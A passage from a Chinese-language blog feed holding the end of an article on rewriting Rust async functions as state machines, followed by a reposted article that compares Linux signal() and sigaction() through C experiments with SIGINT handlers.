&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct Arg0;
struct Arg1;
struct Arg2;
struct Out0;
struct Out1;
struct Out;
struct Context;
enum Poll&amp;lt;T&amp;gt; {
    Ready(T),
    Pending,
}
async fn step0(arg0: Arg0) -&amp;gt; Out0 { todo!() }
async fn step1(out0: Out0, arg1: Arg1) -&amp;gt; Out1 { todo!() }
async fn step2(out1: Out1, arg2: Arg2) -&amp;gt; Out { todo!() }
async fn flow(arg0: Arg0, arg1: Arg1, arg2: Arg2) -&amp;gt; Out {
    let out0 = step0(arg0).await;
    let out1 = step1(out0, arg1).await;
    let out = step2(out1, arg2).await;
    out
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们先尝试将&lt;code&gt;flow&lt;&#x2F;code&gt;改写。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;enum FlowSMv1 {
    State0(Arg0, Arg1, Arg2),
    State1(Out0, Arg1, Arg2),
    State2(Out1, Arg2),
    Done,
}

impl FlowSMv1 {
    fn poll(mut self, ctx: &amp;amp;mut Context) -&amp;gt; Poll&amp;lt;Out&amp;gt; {
        loop {
            match self {
                FlowSMv1::State0(arg0, arg1, arg2) =&amp;gt; {
                    let out0 = step0(arg0).await;
                    self = FlowSMv1::State1(out0, arg1, arg2);
                }
                FlowSMv1::State1(out0, arg1, arg2) =&amp;gt; {
                    let out1 = step1(out0, arg1).await;
                    self = FlowSMv1::State2(out1, arg2);
                }
                FlowSMv1::State2(out1, arg2) =&amp;gt; {
                    let out = step2(out1, arg2).await;
                    self = FlowSMv1::Done;
                    return Poll::Ready(out)
                }
                FlowSMv1::Done =&amp;gt; panic!(&amp;quot;future cannot be polled after its completion&amp;quot;),
            }
        }
    }
}

fn flow_v1(arg0: Arg0, arg1: Arg1, arg2: Arg2) -&amp;gt; FlowSMv1 {
    FlowSMv1::State0(arg0, arg1, arg2)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;每个&lt;code&gt;await&lt;&#x2F;code&gt;对应一个状态，状态中保存的是当前状态以及下一个状态所需要的数据。&lt;&#x2F;p&gt;
&lt;p&gt;这个&lt;code&gt;poll&lt;&#x2F;code&gt;函数和Rust的&lt;code&gt;Future&lt;&#x2F;code&gt;定义是比较相似的，它的返回值&lt;code&gt;Poll::Pending&lt;&#x2F;code&gt;的意思是，当前无法进展（比如IO没有准备好，指定时间未到达，特定资源被锁定无法获取等），将控制权交还给调用方（一般是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=%E5%BC%82%E6%AD%A5%E8%BF%90%E8%A1%8C&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A2872340628%7D&quot;&gt;异步运行&lt;&#x2F;a&gt;时的调度器），调用方可以先执行其他任务，待时机合适时再调用状态机的。&lt;&#x2F;p&gt;
&lt;p&gt;我们把&lt;code&gt;flow&lt;&#x2F;code&gt;函数改写为&lt;code&gt;flow_v1&lt;&#x2F;code&gt;，即返回一个状态机对象，也就对应于Rust中的&lt;code&gt;Future&lt;&#x2F;code&gt;的一个实现。&lt;&#x2F;p&gt;
&lt;p&gt;我们尝试把&lt;code&gt;poll&lt;&#x2F;code&gt;函数中的&lt;code&gt;await&lt;&#x2F;code&gt;改写掉。&lt;code&gt;await&lt;&#x2F;code&gt;的输出用于构造下一个状态的部分输入，那么是否可以让上一个状态直接生成下一个状态呢？应该可以。&lt;&#x2F;p&gt;
&lt;p&gt;我们倒序依次改写&lt;code&gt;step2&lt;&#x2F;code&gt;，&lt;code&gt;step1&lt;&#x2F;code&gt;和&lt;code&gt;step0&lt;&#x2F;code&gt;，令前一个状态机的最终输出为后一个状态机的初始状态。&lt;&#x2F;p&gt;
&lt;p&gt;然后改写&lt;code&gt;flow&lt;&#x2F;code&gt;函数，其初始状态包含第一个状态机的初始状态，执行逻辑则修改为：任何状态返回&lt;code&gt;Poll::Pending&lt;&#x2F;code&gt;则返回，否则不断驱动状态机直到返回最终结果。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;enum Step2SM {
    Init(Out1, Arg2),
    Done,
}
impl Step2SM {
    fn poll(mut self, ctx: &amp;amp;mut Context) -&amp;gt; Poll&amp;lt;Out&amp;gt; { todo!() }
}
enum Step1SM {
    Init(Out0, Arg1, Arg2),
    Done
}
impl Step1SM {
    fn poll(mut self, ctx: &amp;amp;mut Context) -&amp;gt; Poll&amp;lt;Step2SM&amp;gt; { todo!() }
}
enum Step0SM {
    Init(Arg0, Arg1, Arg2),
    Done,
}
impl Step0SM {
    fn poll(mut self, ctx: &amp;amp;mut Context) -&amp;gt; Poll&amp;lt;Step1SM&amp;gt; { todo!() }
}
enum FlowSMv2 {
    State0(Step0SM),
    State1(Step1SM),
    State2(Step2SM),
    Done,
}
impl FlowSMv2 {
    fn poll(mut self, ctx: &amp;amp;mut Context) -&amp;gt; Poll&amp;lt;Out&amp;gt; {
        loop {
            match self {
                FlowSMv2::State0(step0) =&amp;gt; {
                    match step0.poll(ctx) {
                        Poll::Ready(state1) =&amp;gt; {
                            self = FlowSMv2::State1(state1);
                        }
                        Poll::Pending =&amp;gt; return Poll::Pending,
                    }
                }
                FlowSMv2::State1(step1) =&amp;gt; {
                    match step1.poll(ctx) {
                        Poll::Ready(state2) =&amp;gt; {
                            self = FlowSMv2::State2(state2);
                        }
                        Poll::Pending =&amp;gt; return Poll::Pending,
                    }
                }
                FlowSMv2::State2(step2) =&amp;gt; {
                    match step2.poll(ctx) {
                        Poll::Ready(out) =&amp;gt; {
                            self = FlowSMv2::Done;
                            return Poll::Ready(out)
                        }
                        Poll::Pending =&amp;gt; return Poll::Pending,
                    }
                }
                FlowSMv2::Done =&amp;gt; panic!(&amp;quot;future cannot be polled after its completion&amp;quot;),
            }
        }
    }
}

fn flow_v2(arg0: Arg0, arg1: Arg1, arg2: Arg2) -&amp;gt; FlowSMv2 {
    FlowSMv2::State0(Step0SM::Init(arg0, arg1, arg2))
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以上的改写没有涉及生命周期以及&lt;code&gt;Pin&lt;&#x2F;code&gt;的概念。从&lt;code&gt;poll&lt;&#x2F;code&gt;函数消费了&lt;code&gt;self&lt;&#x2F;code&gt;可以看出，这个函数其实无法重复执行，简单的改写方式是通过&lt;code&gt;Poll::Pending(State)&lt;&#x2F;code&gt;将状态机返回出来。更好的方式像是Rust的&lt;code&gt;Future&lt;&#x2F;code&gt;的函数签名那样使用可变借用。&lt;&#x2F;p&gt;
&lt;p&gt;以上的改写也没有涉及状态机如何包装成&lt;code&gt;Task&lt;&#x2F;code&gt;调度与执行。&lt;&#x2F;p&gt;
&lt;p&gt;如果想比较深入地了解Rust&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=%E5%BC%82%E6%AD%A5%E7%BC%96%E7%A8%8B&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A2872340628%7D&quot;&gt;异步编程&lt;&#x2F;a&gt;可以参考：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Rust有本官方的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;rust-lang.github.io&#x2F;async-book&quot;&gt;async book&lt;&#x2F;a&gt;，不过完成度不高。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;blog.yoshuawuyts.com&#x2F;&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;blog.yoshuawuyts.com&#x2F;&quot;&gt;blog.yoshuawuyts.com&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;  某Rust大佬（async-std作者之一）博客。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;smol-rs&#x2F;smol&quot;&gt;smol&lt;&#x2F;a&gt;以及其相关库如async-io, async-task, async-executor等，都值得看一看，代码比较精练易读（和&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=tokio&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A2872340628%7D&quot;&gt;tokio&lt;&#x2F;a&gt;相比...），知乎上也有博客介绍，可以看一下：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;column&#x2F;c_1217841610177937408&quot;&gt;Rust异步与并发&lt;&#x2F;a&gt;。smol这个异步运行时的原作者写过几篇博客，讲得很不错，不过不知为什么，他后来删掉了那几篇文章，也淡出了Rust开发者圈。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;fasterthanli.me&#x2F;&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;fasterthanli.me&#x2F;&quot;&gt;fasterthanli.me&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; ，讲解非常细致的Rust博客。&lt;&#x2F;li&gt;
&lt;li&gt;Youtube上&lt;strong&gt;Jon&lt;&#x2F;strong&gt;对Rust Future以及async&#x2F;await的讲解：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.youtube.com&#x2F;watch%3Fv%3D9_3krAQtD2k&quot;&gt;https:&#x2F;&#x2F;www.&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.youtube.com&#x2F;watch%3Fv%3D9_3krAQtD2k&quot;&gt;youtube.com&#x2F;watch?&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.youtube.com&#x2F;watch%3Fv%3D9_3krAQtD2k&quot;&gt;v=9_3krAQtD2k&lt;&#x2F;a&gt;。他的其他视频（尤其&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=live%20coding&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A2872340628%7D&quot;&gt;live coding&lt;&#x2F;a&gt;）也很不错，只是时间太长了...&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>源码剖析signal和sigaction的区别[通俗易懂]-腾讯云开发者社区-腾讯云</title>
        <published>2024-04-11T00:00:00+00:00</published>
        <updated>2024-04-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/源码剖析signal和sigaction的区别[通俗易懂]-腾讯云开发者社区-腾讯云/"/>
        <id>https://vercel.juzhong.asia/obsidian/源码剖析signal和sigaction的区别[通俗易懂]-腾讯云开发者社区-腾讯云/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/源码剖析signal和sigaction的区别[通俗易懂]-腾讯云开发者社区-腾讯云/">&lt;h1 id=&quot;yuan-ma-pou-xi-signalhe-sigactionde-qu-bie-tong-su-yi-dong-teng-xun-yun-kai-fa-zhe-she-qu-teng-xun-yun&quot;&gt;源码剖析signal和sigaction的区别[通俗易懂]-腾讯云开发者社区-腾讯云&lt;&#x2F;h1&gt;
&lt;p&gt;大家好，又见面了，我是你们的朋友全栈君。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;    这两个函数都是**Linux**下注册信号处理函数有关，但是它们的区别一般我们都是从书上、网上、man手册得知，要想对它们的区别了然于胸，源码剖析才是彻底的方法。先来看这两个函数的区别和实验：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;yi-shi-yan&quot;&gt;一、实验&lt;&#x2F;h4&gt;
&lt;pre&gt;&lt;code&gt;    1、signal比sigaction简单，但signal注册的信号在sa\_handler被调用之前把会把信号的sa\_handler指针恢复，而sigaction注册的信号在处理信号时不会恢复sa\_handler指针。所以用signal函数注册的信号处理函数只会被调用一次，之后收到这个信号将按默认方式处理，如果想一直处理这个信号的话就得在信号处理函数中再次用signal注册一次，一般都在信号处理函数开始处调用signal注册一次这个信号，虽然这样可以一直能处理这个信号，但是可以看出，在sa\_handler指针恢复到再次调用signal注册信号期间如果收到这个信号，那么这个信号就按默认方式处理，如果是INT之类信号的话，进程就可能退出了，虽然有这种概率，但还是非常非常小的。更好的做法是：除了SIG\_IGN、SIG\_DFL之外，最好用sigaction来代替signal注册信号。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;shi-yan-yi&quot;&gt;实验一：&lt;&#x2F;h5&gt;
&lt;p&gt;signal_int_handler.c：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;types.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;

void sigint_handler(int signo)
{
    &amp;#x2F;&amp;#x2F;signal(signo, sigint_handler);
    printf(&amp;quot;sigint_handler, signo: %d\n&amp;quot;, signo);
}

int main(int argc, char *argv[])
{
    signal(SIGINT, sigint_handler);

    while (1) {
        printf(&amp;quot;sleep 2s\n&amp;quot;);
        sleep(2);
    }

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;代码很简单，就是用signal注册SIGINT信号处理函数为sigint_handler，sigint_handler也只是打印一条信息而已，编译运行：&lt;&#x2F;p&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;df30fe42e11989db9a5ca86ba6141a24-20240411134847-5mqj1hp.jpeg&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;图中显示的^C就是我用键盘ctrl+c发出去的信号打印出来的，可见发了5次SIGINT信号，sigint_handler函数也执行了5次，好像signal注册的信号处理函数并不恢复成默认值，但是……请先看下面的实验二。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;shi-yan-er&quot;&gt;实验二：&lt;&#x2F;h5&gt;
&lt;p&gt;代码还是跟上面的实验一一样，只是编译参数加一个-std=c99，编译运行：&lt;&#x2F;p&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;858a66421b5740418c21c3755bcc1abd-20240411134847-t1ypllc.jpeg&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如图所示，发送了两次SIGINT信号，第一次被sigint_handler函数处理了，第二次时进程就退出了（因为SIGINT信号的默认行为就是进程退出），从现象上看，SIGINT信号处理函数被恢复了。&lt;&#x2F;p&gt;
&lt;p&gt;实验一和实验二只是一个编译参数的区别，为什么一个恢复了信号处理函数，一个没有恢复呢，原因稍后揭开。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;shi-yan-san&quot;&gt;实验三：&lt;&#x2F;h5&gt;
&lt;p&gt;sigaction_int_handler.c：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;types.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;

void sigint_handler(int signo)
{
    printf(&amp;quot;sigint_handler, signo: %d\n&amp;quot;, signo);
}

int main(int argc, char *argv[])
{
    struct sigaction sa;

    sa.sa_handler = sigint_handler;
    sigemptyset(&amp;amp;sa.sa_mask);

    if (sigaction(SIGINT, &amp;amp;sa, NULL) == -1) {
        perror(&amp;quot;sigaction:&amp;quot;);
    }

    while (1) {
        printf(&amp;quot;sleep 2s\n&amp;quot;);
        sleep(2);
    }

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;代码与实验一的区别只是改用sigaction来注册信号处理函数，编译运行：&lt;&#x2F;p&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;1c6e7f129d7473aa99b739476a966b06-20240411134847-euu2rwg.jpeg&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看出结果与实验一一样，并没有恢复信号处理函数到默认值，因为是用sigaction注册的，所以也是意料之中。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;shi-yan-si&quot;&gt;实验四：&lt;&#x2F;h5&gt;
&lt;p&gt;同实验二一样，加一个编译参数-std=c99编译结果如下：&lt;&#x2F;p&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;c64df7b61b4c540be97add972494ee04-20240411134847-yb961uf.jpeg&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;编译出错了，可能是struct sigaction并不在c99编译条件里面。这种情况就不管了。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;    2、signal在调用sa\_handler过程中不支持信号block；sigaction在调用sa\_handler之前会先将该信号block，sa\_handler执行完成之后再恢复。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;shi-yan-wu&quot;&gt;实验五：&lt;&#x2F;h5&gt;
&lt;p&gt;signal_int_handler_block.c：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;types.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;

void sigint_handler(int signo)
{
    signal(signo, sigint_handler);
    printf(&amp;quot;sigint_handler, signo: %d, pid: %d\n&amp;quot;, signo, getpid());

    printf(&amp;quot;sleep 10s\n&amp;quot;);
    sleep(10);
    printf(&amp;quot;sigint_handler done\n&amp;quot;);
}

int main(int argc, char *argv[])
{
    int i, ret;
    pid_t pid;

    signal(SIGINT, sigint_handler);

    printf(&amp;quot;start\n&amp;quot;);

    if ((pid = fork()) == 0) {
        &amp;#x2F;&amp;#x2F;children
        sleep(1);
        for (i = 0; i &amp;lt; 5; i++) {
            ret = kill(getppid(), SIGINT);
            printf(&amp;quot;child, pid: %d, ppid: %d, ret: %d\n&amp;quot;, getpid(), getppid(), ret);
        }
        exit(0);
    } else if (pid &amp;lt; 0) {
        perror(&amp;quot;fork error: &amp;quot;);
        exit(1);
    }

    &amp;#x2F;&amp;#x2F;parent

    while (1) {
        printf(&amp;quot;sleep 2s\n&amp;quot;);
        sleep(2);
    }

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面这段代码原理是：主进程用signal注册SIGINT信号处理函数——sigint_handler，这个函数在处理信号时用sleep阻塞10s才返回，主进程fork出一个子进程，这个子进程向主进程发送5次SIGINT信号后退出，编译运行结果如下：&lt;&#x2F;p&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;3126100278d81ef6ef57516468060dc8-20240411134847-dcudml9.png&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;从图中可见，子进程成功发送了5次SIGINT给父进程（图中第一个白色方框所示），父进程打印了两次sigint_handler done（图中前两个红框所示），你可能会问为什么只打印两次而不是5次？这是因为第2次信号被阻塞了，还没得到处理，那第3、4、5次的信号就跟第2次信号一样，反正等着进程来执行处理函数就行了，内核的实现就是在给进程发送信号时，如果进程还有该信号等待处理，那后发的信号就什么都不做就返回了。接着我用键盘ctrl+c连续发送5次SIGINT信号（图片第二个白色框所示^C），然后父进程也能接顺序处理。可以看出signal能block信号，并在调用完信号处理函数后接着处理之前block的信号。那与signal不支持信号block信号不是矛盾吗？再来看看加了-std=c99编译参数之后的结果：&lt;&#x2F;p&gt;
&lt;h5 id=&quot;shi-yan-liu&quot;&gt;实验六：&lt;&#x2F;h5&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;78005dd267e41e1e23bdf82b4eaf8b1f-20240411134847-1ijiveo.png&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;加上-std=c99参数效果就跟实验五不一样了，信号处理函数sigint_handler在收到信号时就直接执行，并没有等上一个信号处理完了再处理下一个信号，也就是说没有block信号。原因也是稍后揭晓。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;shi-yan-qi&quot;&gt;实验七：&lt;&#x2F;h5&gt;
&lt;p&gt;sigaction_int_handler_block.c：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;types.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;

void sigint_handler(int signo)
{
    printf(&amp;quot;sigint_handler, signo: %d, pid: %d\n&amp;quot;, signo, getpid());

    printf(&amp;quot;sleep 10s\n&amp;quot;);
    sleep(10);
    printf(&amp;quot;sigint_handler done\n&amp;quot;);
}

int main(int argc, char *argv[])
{
    int i, ret;
    pid_t pid;
    struct sigaction sa;

    sa.sa_handler = sigint_handler;
    sigemptyset(&amp;amp;sa.sa_mask);

    if (sigaction(SIGINT, &amp;amp;sa, NULL) == -1) {
        perror(&amp;quot;sigaction:&amp;quot;);
    }

    printf(&amp;quot;start\n&amp;quot;);

    if ((pid = fork()) == 0) {
        &amp;#x2F;&amp;#x2F;children
        sleep(1);
        for (i = 0; i &amp;lt; 5; i++) {
            ret = kill(getppid(), SIGINT);
            printf(&amp;quot;child, pid: %d, ppid: %d, kill ret: %d\n&amp;quot;, getpid(), getppid(), ret);
        }
        exit(0);
    } else if (pid &amp;lt; 0) {
        perror(&amp;quot;fork error: &amp;quot;);
        exit(1);
    }

    while (1) {
        printf(&amp;quot;sleep 2s\n&amp;quot;);
        sleep(2);
    }

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个实验是用sigaction来替换signal，原理上讲sigaction是可以block信号的，看看编译运行结果：&lt;&#x2F;p&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;13dcb8f82f471e93b940a9004a004b7a-20240411134847-7e4q90s.png&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看出，结果与实验五是一样的，这也是意料之中。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;    3、sigaction控制粒度更细，可以设置sigaction里面的sa\_mask、sa\_flags，比signal支持更多功能，可参考man，这里实验就免了。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从上面的区别以及实验结果可以看出，signal有时跟sigaction一样，有时又不一样，这又是什么原因呢。下面来看看上面的种种疑惑吧。&lt;&#x2F;p&gt;
&lt;p&gt;分别用strace跟踪一下实验一和实验二的二进制程序：&lt;&#x2F;p&gt;
&lt;p&gt;![源码剖析signal和sigaction的区别&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;assets&#x2F;cfef8da3fae6d64f959bad95b0fb43fb-20240411134847-hkatr4u.png&quot;&gt;通俗易懂]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
